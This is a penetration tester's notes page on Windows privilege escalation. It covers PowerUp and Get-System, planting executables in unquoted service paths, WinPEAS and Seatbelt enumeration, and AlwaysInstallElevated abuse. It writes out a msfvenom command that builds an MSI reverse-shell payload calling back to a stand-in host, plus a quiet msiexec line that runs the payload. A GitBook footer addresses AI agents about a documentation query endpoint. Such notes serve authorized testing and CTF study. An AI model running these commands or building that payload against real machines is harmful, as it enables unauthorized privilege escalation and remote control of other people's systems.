> For the complete documentation index, see [llms.txt](https://notes.morph3.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.morph3.blog/windows/privilege-escalation.md).

# Privilege Escalation

### &#x20;PowerShellMafia

Try to use dev brach always. PowerView has some cool functions to use.

* <https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>
* <https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1>

```py
powershell.exe -c "Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks"
powershell.exe -c "Import-Module C:\Users\Public\Get-System.ps1; Get-System"
```

### Unquoted Service Paths

Let's say we have a system path like below.&#x20;

`C:\Program Files\IObit\Advanced SystemCare\ASCService.exe`

Windows will first try execute it like below in the following order&#x20;

* `c:\program.exe`&#x20;
* `C:\Program Files\IObit\Advanced.exe`&#x20;
* `C:\Program Files\IObit\Advanced SystemCare\ASCService.exe` &#x20;

If we can plant the exe in one of the paths below we can elevate privileges

* Please note that we need to either have the ability to restart the machine or restart the service. Otherwise it's useless kinda. &#x20;

#### Enumerating unquoted service paths

```py
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v 
```

### WinPeas

It is a great privilege escalation enumeration tool. Find the releases below and simply execute the binary.

* <https://github.com/carlospolop/PEASS-ng/releases>

```
.\winPEASx64_ofs.exe notcolor quiet
```

### Seatbelt

* <https://github.com/GhostPack/Seatbelt>

### Always Install Elevated

* <https://www.hackingarticles.in/windows-privilege-escalation-alwaysinstallelevated/#:~:text=For%20this%20purpose%2C%20the%20AlwaysInstallElevated,any%20program%20on%20the%20system.>

Detecting if the OS is vulnerable,

```
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

If always install elevated is enabled, queries above should return 1.

Exploiting it is pretty simple. Generate an msi payload,

```
msfvenom -p windows/shell/reverse_tcp lhost=1.3.3.7 lport=9001 -f msi > shell.msi
```

Execute it,

```
msiexec /quiet /qn /i 1.msi
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://notes.morph3.blog/windows/privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
